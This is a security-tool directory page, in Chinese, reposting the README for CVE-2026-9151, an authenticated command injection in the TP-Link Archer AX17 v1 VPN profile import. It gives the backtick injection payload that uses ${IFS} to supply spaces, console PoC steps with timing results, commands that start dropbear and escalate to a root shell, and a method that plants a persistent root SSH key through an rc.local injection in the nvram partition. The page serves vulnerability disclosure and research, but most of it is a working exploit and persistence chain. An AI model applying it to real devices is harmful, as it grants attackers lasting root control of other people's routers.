Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-9151 — TP-Link Archer AX17 v1 VPN 客户端导入功能中的已认证操作系统命令注入。 | Kitploit
工具/GitHubGitHub/hcbt/cve-2026-9151
嵌入式系统安全权限提升物联网安全持久化机制漏洞分析漏洞利用Web应用程序漏洞利用硬件与物联网安全远程访问工具
GitHubhcbt/cve-2026-9151

CVE-2026-9151

TP-Link Archer AX17 v1 VPN 客户端导入功能中的已认证操作系统命令注入。

2天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CVE-2026-9151

Archer AX17 v1 VPN 客户端导入功能中的已认证操作系统命令注入漏洞。

局域网内的管理员导入一个 OpenVPN 客户端配置文件。该配置文件的描述会被存储为文件名 /etc/openvpn/<des>.ovpn。读取该配置文件时,会将此路径写入 /tmp/ovpn_curr_edit。在下一次 VPN 写入操作中,若未暂存任何上传内容,该路径会被不加引号地传给 grep 和 sed,而 Web 服务器以 root 身份运行这些命令。

描述过滤器会拒绝 /、;、| 和空格,并将字符串限制在 64 个字符以内。反引号可以通过,因此 payload 为 S`sleep${IFS}1`。${IFS} 就是命令获取空格的方式。

受影响Archer AX17 v1,固件 1.1.28 P1 [20250523-rel65103],以及修复前的构建版本
已修复1.5.0 Build 20260605
访问权限局域网内的管理员会话。登录前不可达。
影响以 root 身份执行命令

复现

  1. 登录路由器管理页面。
  2. 在该标签页中打开 DevTools 控制台。
  3. 粘贴 poc.js。
  4. 运行 await poc(0),然后运行 await poc(1)。

poc(0) 在几百毫秒内返回。poc(1) 大约多花一秒。这个时间差就是 sleep 1 以 root 身份运行的结果。该脚本会删除它创建的配置文件。

在 1.1.28 上测试。poc(1) 为 1238 ms,poc(3) 为 3504 ms,poc(7) 为 7204 ms,而对照组为 324 ms。

SSH

该注入以 root 身份运行,因此可以启动 dropbear。此构建版本有两点需要注意:

  • 必须使用 -L(“启用 SSH 会话登录”)。没有它,dropbear 会完成认证,然后对每个 shell 请求都回复 exec request failed。
  • /etc 是一个 ramfs。rc.local、/etc/shadow 和 /etc/dropbear/authorized_keys 在每次启动时都会从 squashfs 重建。只有 nvram 分区会持久保留。

这就将其分为临时方法和永久方法。

临时方法

ssh-temp.js 有两个调用:

await sshTemp();        // dropbear -C -L -p 2222
await runStaged('r');   // sh /tmp/r as root

sshTemp() 以 Web 账户模式启动 dropbear。使用路由器管理员密码登录:

ssh -p 2222 -o HostKeyAlgorithms=+ssh-rsa \
    -o KexAlgorithms=+diffie-hellman-group14-sha1 admin@<router>

该 shell 的 uid 为 1000(admin),而非 root,并且无法写入 /etc。要提权,请通过它把 ssh-root.sh 暂存到 /tmp/r:

cat > /tmp/r <<'EOF'
... ssh-root.sh with your public key ...
EOF

然后从控制台调用 runStaged('r')。该注入会以 uid 0 运行脚本,写入 /etc/dropbear/authorized_keys,并启动 dropbear -L -p 2227。(runStaged 会基于 ${PWD%www} 构建 /tmp/<name>,因为 Web 后端的工作目录是 /www。)连接:

ssh -i <key> -p 2227 -o HostKeyAlgorithms=+ssh-rsa \
    -o PubkeyAcceptedAlgorithms=+ssh-rsa \
    -o KexAlgorithms=+diffie-hellman-group14-sha1 root@<router>

此方法会一直有效,直到下次重启。

永久方法

以 root 身份运行 ssh-persist.sh(例如通过临时 root shell)。它会向 nvram 的 profile 分区追加一个 rc.local。S10boot 会在 S95done 运行 /etc/rc.local 之前将该分区恢复到 /etc,因此这些命令会在每次启动时运行。

该分区是一个加密的、按行组织的 uci XML。<dir> 会创建 /etc/<dir>,<file> 会创建 /etc/<dir>/<file>,而标签名会在 option 之后原样写入。因此,以 ; 开头的标签会以如下形式落入 rc.local:

option ;<command> # 'x'

这会以 root 身份运行 <command>。该脚本会保留厂商的 profile.d 块,并写入:

option ;echo <pubkey>|tee /etc/dropbear/authorized_keys # 'x'
option ;/usr/sbin/dropbear -L -p 22 # 'x'

重启后,root SSH 会在 22 端口上使用同一密钥。请先备份该分区;脚本会打印备份路径和恢复命令。

注意:此固件上不存在 chpasswd。不要尝试用它设置 root 密码;请使用 authorized_keys(如上所述)或 passwd。

下载工具